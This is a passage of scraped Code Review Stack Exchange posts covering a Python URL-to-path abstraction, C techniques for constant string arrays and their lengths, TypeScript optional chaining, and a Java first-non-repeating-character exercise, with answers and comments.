- Supports optional sub-schemes
- Calls `git clone` on the URL with the sub-scheme
- Optionally, A branch, tag, or commit hash can be appended to the URL after a `@`.
- e.g. `git+https://github.com/a/b@v1` calls `git clone -b v1 https://github.com/a/b`
- Result is cached
- Inspired by [Pip](https://pip.pypa.io/en/stable/reference/pip_install/#vcs-support)
- Returns directories
- `file:` (default if no scheme is provided)
- Supports optional sub-schemes
- Supports absolute (e.g. file://path/to/file) and relative (file:path/to/file), where relative paths are resolved relative to `base`
- Also accepts the path through a `path` fragment argument
- This way, one can specify a path within a directory retrieved by another scheme (e.g. file+git://github.com/a/b#path=path/within/repo).
- Returns files or directories
"""
url = urllib.parse.urlparse(url_str)
cache_dest = Path(cache_path / escape_fname(url_str))
first_scheme, _, rest_schemes = url.scheme.partition("+")
fragment = urllib.parse.parse_qs(url.fragment)
if first_scheme in set(["http", "https"]) and not rest_schemes:
if should_dir:
raise ValueError(
f"{url} points to a file (because of the http[s] scheme) not a dir"
)
elif cache_dest.exists():
return cache_dest
elif session is None:
raise ValueError(f"{url_str} given, so aiohttp.ClientSession expected")
else:
async with session.get(url_str) as src:
async with AIOFile.open(cache_dest, "wb") as dst:
await dst.write(await src.read())
return cache_dest
elif first_scheme == "file" and rest_schemes and "path" in fragment:
underlying_fragment = {key: val for key, val in fragment.items() if key != "path"}
underlying_fragment_str = urllib.parse.urlencode(underlying_fragment, doseq=True)
dir_url = urllib.parse.urlunparse(
(rest_schemes, *url[1:5], underlying_fragment_str)
)
dir_path = await pathify(dir_url, base, cache_path, True, True, session)
path_within_dir = Path(fragment["path"][0])
path = dir_path / path_within_dir
if should_exist and not path.exists():
raise ValueError(f"Expected {path_within_dir} to exist within {dir_url}")
elif path.exists() and (path.is_dir() != should_dir):
raise ValueError(
f"{path_within_dir} points to a {'dir' if path.is_dir() else 'file'} "
f"but a {'dir' if should_dir else 'file'} expected"
)
else:
return path
elif first_scheme == "zip" and rest_schemes:
if not should_dir:
raise ValueError(
f"{url} points to a dir (because of the zip scheme) not a file"
)
elif cache_dest.exists():
return cache_dest
else:
archive_url = urllib.parse.urlunparse((rest_schemes, *url[1:]))
archive_path = await pathify(
archive_url, base, cache_path, True, False, session
)
await subprocess_run_async(["zip", str(archive_path), "-d", str(cache_dest)])
return cache_dest
elif first_scheme == "git":
if not should_dir:
raise ValueError(
f"{url} points to a dir (because of the git scheme) not a file"
)
elif cache_dest.exists():
return cache_dest
else:
repo_scheme = url.scheme.partition("+")[2] # could be git+b+c, we want b+c
repo_url, _, rev = urllib.parse.urlunparse((repo_scheme, *url[1:6])).partition("@")
rev_flags = ["-b", rev] if rev else []
await subprocess_run_async(["git", "clone", *rev_flags, repo_url, str(cache_dest)])
return cache_dest
elif first_scheme in set(["file", ""]) and not rest_schemes:
# no scheme; just a plain path
path = Path(url.path)
normed_path = path if path.is_absolute() else Path(base / path)
if should_exist and not normed_path.exists():
raise ValueError(f"Expected {normed_path} to exist")
elif normed_path.exists() and (normed_path.is_dir() != should_dir):
raise ValueError(
f"{normed_path} points to a {'dir' if normed_path.is_dir() else 'file'} "
f"but a {'dir' if should_dir else 'file'} expected"
)
else:
return normed_path
else:
raise ValueError(f"Unsupported urlscheme {url.scheme}")
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T22:39:48.530",
"Id": "249810",
"Score": "2",
"Tags": [
"python",
"library",
"url"
],
"Title": "Abstraction to make URLs (many different schemes) act like Paths on disk"
}
|
249810
|
<p>Ok, a struct would actually be most convenient, but it woudl be easier on teh system to have 2 seperate arrays rather than an array of structs.</p>
<pre><code>#define PAIR(Str) {(Str), sizeof(Str)-1}
static const struct StrStruct {
const char *Str;
unsigned int Len;
} Packed4 DefaultStr[] = {
PAIR("Error"),
PAIR("An unexpected error occurred"),
PAIR("while saving data"),
PAIR("Close some windows or programs and try again"),
PAIR("Singleplayer"),
PAIR("Multiplayer"),
PAIR("Settings"),
PAIR("Quit"),
PAIR("Graphics"),
PAIR("User Interface"),
PAIR("Sounds"),
PAIR("Controls"),
PAIR("Language"),
PAIR("Compatibility"),
PAIR("Help"),
PAIR("About"),
PAIR("On"),
PAIR("Off"),
PAIR("Field of View"),
};
</code></pre>
<p>Simply hardcoding them is <em>'magic numbers'</em>.</p>
<pre><code>static const char *const Strs[] = {
"Singleplayer",
"Multiplayer",
"Settings",
"Quit",
"Graphics",
"User Interface",
"Sounds",
"Controls",
"Language",
"Compatibility",
"Help",
"About",
"On",
"Off",
"Field of View"
};
static const unsigned short Lengths[] = {
12,
11,
8,
//...
};
</code></pre>
<p>So I came up with my current solution, though kind of a pain in the backside, I have this.</p>
<pre><code>#define ERROR "Error"
#define UNEXPECTEDERROR "An unexpected error occurred"
#define WHILESAVINGDATA "while saving data"
#define CLOSEPROGRAMS "Close some windows or programs and try again"
#define SINGLEPLAYER "Singleplayer"
#define MULTIPLAYER "Multiplayer"
#define SETTINGS "Settings"
#define QUIT "Quit"
#define GRAPHICS "Graphics"
#define UI "User Interface"
#define AUDIO "Audio"
#define CONTROLS "Controls"
#define LANGUAGE "Language"
#define COMPATIBILITY "Compatibility"
#define HELP "Help"
#define ABOUT "About"
#define ON "On"
#define OFF "Off"
#define FOV "Field of View"
static const char *const DStr[] = {
ERROR,
UNEXPECTEDERROR,
WHILESAVINGDATA,
CLOSEPROGRAMS,
SINGLEPLAYER,
MULTIPLAYER,
SETTINGS,
QUIT,
GRAPHICS,
UI,
AUDIO,
CONTROLS,
LANGUAGE,
COMPATIBILITY,
HELP,
ABOUT,
ON,
OFF,
FOV,
};
#define STRLEN(Str) (sizeof(Str)-1)
static const unsigned short DLen[] = {
STRLEN(ERROR),
STRLEN(UNEXPECTEDERROR),
STRLEN(WHILESAVINGDATA),
STRLEN(CLOSEPROGRAMS),
STRLEN(SINGLEPLAYER),
//...
};
</code></pre>
<p>Is there a better way to do this? Is there a cleaner way to initialize an constant array of strings, and a constant array of the equivalent lenghts? I'm mainly looking at the last one. How can I improve that one?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:24:20.597",
"Id": "489865",
"Score": "1",
"body": "looks like a job for X macros, eg https://en.wikipedia.org/wiki/X_Macro"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:38:15.580",
"Id": "489879",
"Score": "0",
"body": "You can use a `struct` of arrays. (And a spelling checker.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:43:52.257",
"Id": "489881",
"Score": "0",
"body": "I don't think `sizeof ‹string literal› - 1` is *specified* to equal `strlen(‹string literal›)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:20:36.847",
"Id": "489930",
"Score": "0",
"body": "@greybeard `strlen()` takes the length of the string, but excludes the nullterm. `sizeof` on a string literal takes the total size, including the null terminator. So `strlen()` on a string literal is equivalent to `sizeof - 1`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:32:39.533",
"Id": "489953",
"Score": "0",
"body": "@user231012 `strlen(string_literal) != (sizeof string_litleral - 1)` when then _string literal_ has an explicit `\\0`. e.g. `strlen(\"abc\\0xyz\")` --> 3, else you are mostly OK."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:33:46.440",
"Id": "489954",
"Score": "0",
"body": "Please quote (as in identify standard and where to find the pertaining information) a C language standard stating the value of `sizeof`applied to a string literal (That is not identical to `char x[] = \"literal\";sizeof x`.)"
}
] |
[
{
"body": "<p>To expand on my comment, the X macro technique can be used for this. See <a href=\"https://en.wikipedia.org/wiki/X_Macro\" rel=\"nofollow noreferrer\">here, for example</a></p>\n<p>The idea is that we define the list once, for example</p>\n<pre><code>#define STRINGLIST \\\nX( "alice") \\\nX( "bob") \\\nX( "cat")\n</code></pre>\n<p>When we want to use this list, we invoke the above macro, having defined the macro X:</p>\n<pre><code>static const char *const DStr[] = {\n#define X(S) S,\nSTRINGLIST\n#undef X\n};\n\nstatic const unsigned short DLen[] = {\n#define X(S) sizeof( S)-1,\nSTRINGLIST\n#undef X\n};\n</code></pre>\n<p>This way we only have to define the strings once, and guarantee that the arrays DStr and DLen are in the same order. The disadvantage is that it looks pretty bizarre first time you see it, and others maintaining your code might be boggled.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:44:20.053",
"Id": "489935",
"Score": "0",
"body": "`The disadvantage is that it looks pretty bizarre first time you see it, and others maintaining your code might be boggled.` Well, I'm the only one maintaining my code so I guess this really works then :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:48:53.493",
"Id": "489936",
"Score": "0",
"body": "Also, the `strlen()` function call return values aren't compile time constant, so it should be `#define X(S) (sizeof(S)-1`"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:49:45.410",
"Id": "249823",
"ParentId": "249813",
"Score": "4"
}
},
{
"body": "<p>You already have a working solution but you say "it would be easier on the system to have 2 separate arrays". I have no idea what you mean by that, and in any case this is false since memory locality plays a big role in performance and by separating these lengths from the string contents you'd be prematurely pessimizing your code for no reason.</p>\n<p>But of course you haven't mentioned the biggest obstacle: how are you going to refer to those strings in that array? Surely not by magic numbers. Thus: by some separate enums? No, forget about using preprocessor macros: yuck! The less of those, the better. How will you ensure the names for the indices remain in sync with contents of the array?</p>\n<p>That's the problem with C: it's a really nice language for outputting generated code to, but by itself it's like writing in a human-friendly assembly almost, and almost any idea you have can't really be expressed nicely in C without writing absurd amounts of code.</p>\n<p>I don't know why you insist on having an array, since just naming each string would give you names that are intimately tied to the contents, but there are valid reasons to have an array, e.g. for translations - so let's say the array is a valid requirement.</p>\n<p>So, what you want really is code generation. None of this stuff should be manually tweaked by humans - it's a total waste of time, and obscure macros doesn't help with readability either. Let the generator generate plain C, with nothing special.</p>\n<p>You decided to use C, so I can propose a code generator written in C, even though C is rather hard to get right and becomes somewhat verbose. Again: it is something I came up with in 10 minutes, it's just an example that should be made much nicer (and even longer) if you intend to use it:</p>\n<pre><code>#include <assert.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nvoid *check_alloc(void *ptr, size_t size)\n{\n if (size && !ptr)\n {\n fprintf(stderr, "Out of memory while attempting to allocate %zu bytes\\n", size);\n exit(1);\n }\n return ptr;\n}\n\nvoid *checked_malloc(size_t size)\n{\n return check_alloc(malloc(size), size);\n}\n\nvoid *checked_realloc(void *ptr, size_t size)\n{\n return check_alloc(realloc(ptr, size), size);\n}\n\ntypedef struct {\n char *data;\n size_t count, size;\n} Buffer;\n\nBuffer buf_new(void)\n{\n Buffer buf = {.data = NULL, .count = 0, .size = 4096 };\n buf.data = checked_malloc(buf.size);\n return buf;\n}\n\nchar *buf_end(const Buffer *b)\n{\n return b->data + b->count;\n}\n\nsize_t buf_avail(const Buffer *b)\n{\n return b ? (b->size - b->count) : 0;\n}\n\nsize_t buf_extend(Buffer *b)\n{\n size_t const newSize = 2*b->size;\n char *newData = checked_realloc(b, newSize);\n b->size = newSize;\n b->data = newData;\n return b->size - b->count;\n}\n\nvoid buf_append(Buffer *b, size_t count)\n{\n b->count += count;\n}\n\nvoid buf_free(Buffer *b)\n{\n if (b) {\n free(b->data);\n memset(b, 0, sizeof(*b));\n }\n}\n\nBuffer read_all(FILE *file)\n{\n Buffer buf = buf_new();\n if (!buf.size) return buf;\n for (;;)\n {\n size_t maxToRead = buf_avail(&buf);\n if (!maxToRead)\n maxToRead = buf_extend(&buf);\n if (!maxToRead)\n break;\n size_t readNow = fread(buf_end(&buf), 1, maxToRead, file);\n buf_append(&buf, readNow);\n if (!readNow) {\n if (feof(stdin))\n {\n *buf_end(&buf) = '\\0'; \n return buf;\n }\n if (ferror(stdin))\n break;\n }\n }\n buf_free(&buf);\n return buf;\n}\n\nint isident1(int c) { return isalpha(c) || c == '_' || c == '$'; }\nint isident(int c) { return isalnum(c) || c == '_' || c == '$'; }\nint isendl(int c) { return c == '\\r' || c == '\\n'; }\n\ntypedef struct {\n char *data;\n size_t size;\n} StringView;\n\nstatic const StringView empty_str[1];\n\nchar str_last(const StringView *str)\n{\n return str->size ? str->data[str->size-1] : '\\0';\n}\n\nchar *str_lastp(const StringView *str)\n{\n return str->size ? str->data + str->size - 1 : NULL;\n}\n\nvoid buf_append_stringz(Buffer *buf, const StringView *str)\n{\n for (size_t avail = buf_avail(buf); avail < str->size + 1;)\n {\n avail = buf_extend(buf);\n }\n\n memcpy(buf_end(buf), str->data, str->size);\n buf_append(buf, str->size);\n *buf_end(buf) = '\\0';\n buf_append(buf, 1);\n}\n\nStringView read_label(char **input)\n{\n StringView result = {.data = NULL, .size = 0};\n char *p = *input;\n unsigned char c;\n while ((c = *p) && isspace(c)) ++p;\n if (!c) return result;\n result.data = p;\n if ((c = *p) && isident1(c)) ++p;\n else return result;\n while ((c = *p) && isident(c)) ++p;\n result.size = p - result.data;\n if (c) *p++ = '\\0'; // null-terminate the result\n *input = p;\n return result;\n}\n\nStringView read_text_line(char **input)\n{\n StringView result = {.data = NULL, .size = 0};\n char *p = *input;\n unsigned char c;\n while ((c = *p) && isspace(c)) ++p;\n if (!c) return result;\n result.data = p;\n while ((c = *p) && !isendl(c)) ++p;\n result.size = p - result.data;\n if (c) *p++ = '\\0'; // null-terminate the result\n *input = p;\n return result;\n}\n\nint main(int argc, char **argv)\n{\n // Arguments\n // <array_name>\n \n // Input format:\n // <label> <whitespace> <text to go with the label> <newline>\n // The text can contain C escapes, which are not interpreted.\n // Multi-line strings are supported using the line continuation character\n // <\\> at the end of the line.\n \n if (argc != 2) return 1;\n const char *array_name = argv[1]; \n \n Buffer labels = buf_new();\n Buffer input = read_all(stdin);\n \n fprintf(stdout, "const StringView %s[] = {\\n", array_name);\n\n int has_previous_entry = 0;\n for(char *in = input.data;;)\n {\n StringView label = read_label(&in);\n if (!label.size) break;\n\n int needs_open_brace = 1;\n size_t total_size = 0;\n for (;;) \n {\n StringView text = read_text_line(&in);\n if (!text.size) break;\n total_size += text.size;\n if (has_previous_entry && needs_open_brace)\n fprintf(stdout, ",\\n");\n if (needs_open_brace)\n {\n buf_append_stringz(&labels, &label);\n fprintf(stdout, " /* %s */\\n { ", label.data);\n }\n else\n fprintf(stdout, " ");\n needs_open_brace = 0;\n has_previous_entry = 1;\n\n if (str_last(&text) == '\\\\')\n {\n *str_lastp(&text) = '\\0';\n text.size--;\n fprintf(stdout, "\\"%s\\"\\n", text.data);\n continue;\n }\n fprintf(stdout, "\\"%s\\", %zu }", text.data, total_size);\n break;\n }\n }\n if (has_previous_entry)\n fprintf(stdout, "\\n};\\n");\n else\n fprintf(stdout, "};\\n");\n \n if (has_previous_entry)\n {\n buf_append_stringz(&labels, empty_str);\n int has_previous_label = 0;\n char *label = labels.data;\n assert(*label);\n\n fprintf(stdout, "enum %s_labels {\\n", array_name);\n while (*label)\n {\n size_t len = strlen(label);\n if (has_previous_label)\n fprintf(stdout, ",\\n");\n fprintf(stdout, " %s", label);\n label += len + 1;\n has_previous_label = 1;\n }\n fprintf(stdout, "\\n};\\n");\n }\n\n return 0;\n}\n</code></pre>\n<p>Invoked as <code>generate myArray</code>, given the following standard input:</p>\n<pre><code>label_1 text1a text1b\nlabel_2 text2a text2b text2c\\\n text2d text2e \\\n text2f\n</code></pre>\n<p>the output is:</p>\n<pre><code>const StringView myArray[] = {\n /* label_1 */\n { "text1a text1b", 13 },\n /* label_2 */\n { "text2a text2b text2c"\n "text2d text2e "\n "text2f", 42 }\n};\nenum myArray_labels {\n label_1,\n label_2\n};\n</code></pre>\n<p>For type-safety, you'd also want the generator to emit a custom array lookup function so that the wrong enum type would at least be warned against by the compiler (C is insane in that everything that's not a pointer or a struct behaves as if it was an integer).</p>\n<pre><code>StringView *myArray_get(enum myArray_labels label)\n{\n assert(label < 2);\n return myArray[label];\n}\n</code></pre>\n<p>If you are OK with not using C for the generator, then either C++ or Python or Perl or even bash would yield a more robust generator at less than 1/3 the size.</p>\n<p>Let's say we wanted to integrate the above code generator - let's call it <code>strarraygen</code> - into cmake. It'd look as follows:</p>\n<pre><code># This is whatever target you use the generated file in\nadd_executable(your_primary_target\n …\n "${CMAKE_CURRENT_BINARY_DIR}/myArray.c")\n\n# This is the code generator target\nadd_executable(strarraygen strarraygen.c)\n\n# This generates the array based on description in `myArray.txt`\nadd_custom_command(OUTPUT myArray.c\n COMMAND "$<TARGET_FILE:strarraygen>" myArray\n < "${CMAKE_CURRENT_SOURCE_DIR}/myArray.txt" \n > myArray.c\n DEPENDS myArray.txt strarraygen )\n</code></pre>\n<p>If you use cmake, then you probably shouldn't be writing such a generator in C since it'll end up being 10x (or worse!) longer than the equivalent CMake script.</p>\n\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T02:57:26.027",
"Id": "489990",
"Score": "0",
"body": "`memset(b, 0, sizeof(b));` in `buf_free()` is unclear. Why use the size of a pointer to determine how much to clear?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T15:09:33.397",
"Id": "490262",
"Score": "0",
"body": "Personally I am much in favour of code generation, and use it when I can. However the problem I always have is how to integrate the code generation into the build system. In the present case it wouldn't be too bad, i suppose, to put Dstr and Dlen etc into a file that contains just that, but still artificial. And the more generated bits you have, the more you end up with a wheen of wee files which is bad news for readability."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-30T23:31:23.117",
"Id": "490456",
"Score": "0",
"body": "If the build system isn't braindead, integration is less text than your comment :) As much as `cmake` if loaded with obscure historical baggage, they have got this part well under control :) It really is less text!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T09:10:29.893",
"Id": "490477",
"Score": "0",
"body": "\"this is false since memory locality plays a big role in performance\" It is not at all obvious that storing strings together with data lead to better performance. In this case the OP isn't actually storing copies of string literals, but pointers to string literals. How string literals are stored and organized is handled by the compiler, but they are not going to end up in the same memory segment as integer sizes no matter what you do, so there are no data cache benefits from using structs here. Merging them together is the pre-mature optimization."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T09:19:45.743",
"Id": "490478",
"Score": "0",
"body": "\"No, forget about using preprocessor macros: yuck!\" The example posted by the OP is indeed yuck. X macros are however a quite sensible solution in this case, it is an industry standard way of writing code. Unlike coming up with some home-made macro solution, which is indeed bad. It's a much better solution that code generation, since code generation increases complexity and the chances for bugs. Especially the horribly obfuscated code you posted here; which could do with a serious code review of its own."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T16:12:16.340",
"Id": "249852",
"ParentId": "249813",
"Score": "0"
}
},
{
"body": "<blockquote>\n<p>I'm mainly looking at the last one. How can I improve that one?</p>\n</blockquote>\n<p>A common problem is the number of elements to <code>Strs[], Lengths[]</code> will differ due to a maintenance error.</p>\n<p>After the definitions, add a <a href=\"https://stackoverflow.com/questions/3385515/static-assert-in-c\"><code>_Static_assert</code> or the like</a> to detect that problem.</p>\n<pre><code>_Static_assert(sizeof Strs/sizeof Strs[0] == sizeof Lengths/sizeof Lengths[0], \n "Strs Lengths size mismatch");\n</code></pre>\n<hr />\n<p>Unclear why code uses <code>unsigned short</code> vs. <code>unsigned char</code> (for space efficiency) nor <code>size_t</code> (for generality). In any case, I'd expect the compiler to whine if the type was too narrow.</p>\n<pre><code>static const unsigned short DLen[]\n// ^------------^ ???\n</code></pre>\n<hr />\n<p>If code uses the last approach, consider <code>_</code> for spaces; easier to read.</p>\n<pre><code>// #define WHILESAVINGDATA "while saving data"\n#define WHILE_SAVING_DATA "while saving data"\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T17:30:00.367",
"Id": "249854",
"ParentId": "249813",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249823",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T02:55:58.270",
"Id": "249813",
"Score": "3",
"Tags": [
"c",
"strings",
"array",
"constants"
],
"Title": "Initializing an array of string constants, and another constant array of the equivalent lengths"
}
|
249813
|
<p>So I'm parsing an object using Typescript. I am pushing a value from within the object into an array of strings.</p>
<p>Here's the code:</p>
<pre><code>if (data.InstanceStatuses != undefined)
if (data.InstanceStatuses[0].InstanceId != undefined)
instanceIds.push(data.InstanceStatuses[0].InstanceId as string)
</code></pre>
<p>I feel there must be a better way to deal with the fact that both <code>data.InstanceStatuses</code> and <code>data.instanceStatuses[0].InstanceId</code> can be of type <code>string || undefined</code>, however I am not sure how to get it down to a simpler statement with less IF blocks.</p>
<p>Any ideas?</p>
|
[] |
[
{
"body": "<p>Typescript has supported <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining\" rel=\"nofollow noreferrer\">optional chaining</a> for a while. To do this concisely <em>and</em> avoid the somewhat inelegant <code>as string</code> type assertion, extract the possibly nested value into a variable, then check its <code>typeof</code> against <code>string</code>:</p>\n<pre><code>const instanceId = data.InstanceStatuses?.[0].InstanceId;\nif (typeof instanceId === 'string') {\n instanceIds.push(instanceId);\n}\n</code></pre>\n<p>This way, <code>instanceId</code> will be either the nested value, <em>or</em>, if <code>InstanceStatuses</code> doesn't exist, it'll be <code>undefined</code>. So, it'll only push to the array if the nested value exists <em>and</em> the value is a string.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T03:33:42.773",
"Id": "249816",
"ParentId": "249815",
"Score": "1"
}
},
{
"body": "<p>An alternative to optional chaining is to make something like this:</p>\n<pre><code>const optionalChaining = (obj: Object, ...props: string[]) =>\n props.reduce((o: any, prop: string) => (o || {})[prop] , obj);\n</code></pre>\n<p>That is:</p>\n<ul>\n<li>Try to access the <code>prop</code> in every iteration, even if it returns <code>undefined</code></li>\n<li>In case the previous iteration returned <code>undefined</code>, just create an object on the fly to not throw an Error because you're trying to access props of undefined.</li>\n</ul>\n<p>See how <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce\" rel=\"nofollow noreferrer\">Array.prototype.reduce()</a> works, but I like to think that you can use when you want transform an array in one value.</p>\n<p>In this case, you want to get an array of props, and get the "chained value" of them or <code>undefined</code> if there's not a valid prop among them.</p>\n<p>You could use it like:</p>\n<pre><code>const optionalChaining = (obj: Object, ...props: string[]) =>\n props.reduce((o: any, prop: string) => (o || {})[prop] , obj);\n\nconst foo = {\n data: {\n InstanceStatuses: [\n { InstanceId: 'bar' }\n ]\n }\n};\n\nconsole.log(\n optionalChaining(\n foo,\n 'data',\n 'InstanceStatuses',\n '0',\n 'InstanceId'\n )\n);\n\nconsole.log(\n optionalChaining(\n foo,\n 'data',\n 'InstanceStatuses',\n '1',\n 'InstanceId'\n )\n);\n</code></pre>\n<p>The advantage is that <code>Array.prototype.reduce</code> has a good browser compatibility, in other words, is a better cross-browser solution, but I would prefer optional chaining syntax when it will has a good major browsers support.</p>\n<p>By other hand, maybe <a href=\"https://babeljs.io/docs/en/next/babel-plugin-proposal-optional-chaining\" rel=\"nofollow noreferrer\">Babel</a> could be useful if browser compatibility matters for you.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T04:49:24.350",
"Id": "249818",
"ParentId": "249815",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T03:28:14.957",
"Id": "249815",
"Score": "1",
"Tags": [
"object-oriented",
"typescript"
],
"Title": "How to deal with nested objects which might be string or undefined in a clean way?"
}
|
249815
|
<blockquote>
<h2>Problem Statement :</h2>
<p>Print the first non repeating character in a string.</p>
<h2>Example :</h2>
<p>In the string <code>somecharsjustdon'tliketorepeat</code>, <code>m</code> is the first non-repeating charecter.</p>
</blockquote>
<h2>My attempt :</h2>
<p><em>New Code : Old one was not working as expected so I have updated the post. Old code can be found below new code</em></p>
<pre><code>public class FirstNonRepeatedChar{
static boolean isRepeated(String str, char c){
int count = 0;
for(char ch: str.toCharArray()){
if(c == ch){
count++;
}
}
return count > 1;
}
static void printFirstNonRepeatedChar(String str){
boolean found = false;
for(char c : str.toCharArray()){
if(! isRepeated(str, c)){
found = true;
System.out.println(str + " : " +c);
break;
}
}
if(!found){
System.out.println(str + " : No non-repeated char");
}
}
public static void main(String [] args){
String []testCases = {"aaabbcc", "sss", "121", "test", "aabc"};
for(String str: testCases){
printFirstNonRepeatedChar(str);
}
}
}
</code></pre>
<p><em>Old code</em></p>
<pre><code>public class FirstNonRepeatedChar{
public static void main(String [] args){
String str = "somecharsjustdon'tliketorepeat";
loopI:
for(int i = 0;i<str.length();i++){
for(int j = i+1; j<str.length();j++){
if(str.charAt(i)==str.charAt(j))
continue loopI;
}
System.out.println(str.charAt(i));
break;
}
}
}
</code></pre>
<p>I want to ask :</p>
<ul>
<li>Is there better way to solve this problem? Especially, is there efficient way to do this using built-in classes?</li>
<li>Can I reduce complexity?</li>
<li>Is there any case where my code may fail to generate appropriate result? and how can I avoid these failures?</li>
</ul>
<p>Thanks in advance!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:06:57.113",
"Id": "489862",
"Score": "1",
"body": "Try `abab` or `ababx`. Your alrogithm outputs `a` for both of them, where no output and `x` is expected respectively. Use an ordered map<char, count> to count the occurences of each character, then lookup the first character whose occurence is 1."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:16:09.443",
"Id": "489863",
"Score": "0",
"body": "@slepic, Thanks for your reply. I think i have made very silly mistakes. I'll try to solve it. Thanks for suggesting orderedmap I'll check that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:34:22.860",
"Id": "489866",
"Score": "0",
"body": "I'm not sure if java's HashMap is ordered or unordered, but you actually don't need an ordered map, you can do with unordered map and a second traverse over the input string because the input provides the order already...."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T08:06:16.693",
"Id": "489872",
"Score": "1",
"body": "Please fix the code and write some tests to make sure your code actually works. Also include the complete requirements to the question such as restrictions on input and such. I.e. post the exact assignment text."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T08:23:51.440",
"Id": "489873",
"Score": "1",
"body": "@TorbenPutkonen I have updated post to provide correct code. Sorry but I was not given any input restrictions or any other rules."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T08:33:46.147",
"Id": "489874",
"Score": "1",
"body": "Now I have also added some test cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:06:16.900",
"Id": "489969",
"Score": "0",
"body": "Related: [Finding an element without pair in a list O(n\\*\\*2)](https://codereview.stackexchange.com/q/247723) for integers. But instead of toggling set members, you just need to count (with a hashmap) so you can find which characters have only one occurrence. And I guess record their position of first appearance so you don't have to go through the string again."
}
] |
[
{
"body": "<p>There are some weak spots, but an optimal algorith would need:</p>\n<ul>\n<li>To check all characters for unique ones.</li>\n</ul>\n<p>So:</p>\n<pre><code>Optional<Character> firstNonRepeatingChar(String s) {\n Set<Character> candidates = new LinkedHashSet<>();\n Set<Character> duplicates = new HashSet<>();\n for (char ch : s.toCharArray()) {\n if (!duplicates.contains(ch)) {\n if (!candidates.add(ch)) {\n candidates.remove(ch);\n duplicates.add(ch);\n }\n }\n }\n return candidates.stream().findFirst();\n}\n</code></pre>\n<p><code>if (!duplicates.contains(ch))</code> treats a new candidate char or existing one.\nWhen <code>!candidates.add(ch)</code> the char already existed in candidates, hence we encountered a new duplicate.</p>\n<p>This uses for candidate chars a <code>LinkedHashSet</code> which keeps the order of insertion.\nThe return of findFirst hence will return the first added unique char.</p>\n<p>At some time duplicates need to be removed from the candidates to find the solution.\nHere it is done immediately.</p>\n<p>Note that <code>add</code> returns whether indeed added; else there was already such an element.</p>\n<p>One might have used a <code>Map<Character, Boolean></code> for both char states (isCandidate/isDuplicate).</p>\n<hr />\n<ul>\n<li><code>isRepeated</code> starts from 0, not utilising the position where you found <code>c</code>.</li>\n<li>Calling <code>toCharArray</code> would create a char array, which will happen for every <code>c</code>.</li>\n<li>When <code>count</code> reaches 2 one can return true.</li>\n</ul>\n<p>Even when repairing this, the complexity is quadratic: <strong>O(N²)</strong>.</p>\n<p>My solution would be: <strong>O(N.log N)</strong> as one may assume log N for contains/adding/removing from a <code>Set</code>. Considerably better. Especially as <code>HashSet</code> is fast, <em>almost</em> O(1).</p>\n<hr />\n<p><em>However</em></p>\n<p>For small strings of say approx. 30 characters one would need benchmarking to determine the fastest algorithm. Data structures like <code>Set</code> are very valuable - also for code quality - but a brute force for-loop might still be faster.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:39:56.000",
"Id": "489880",
"Score": "0",
"body": "Thanks @Joop Eggen. Interesting approach. I got a bit confused looking at those if statements but overall nice solution. Thanks for pointing out my mistakes. I really appriciate that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:20:56.193",
"Id": "489971",
"Score": "0",
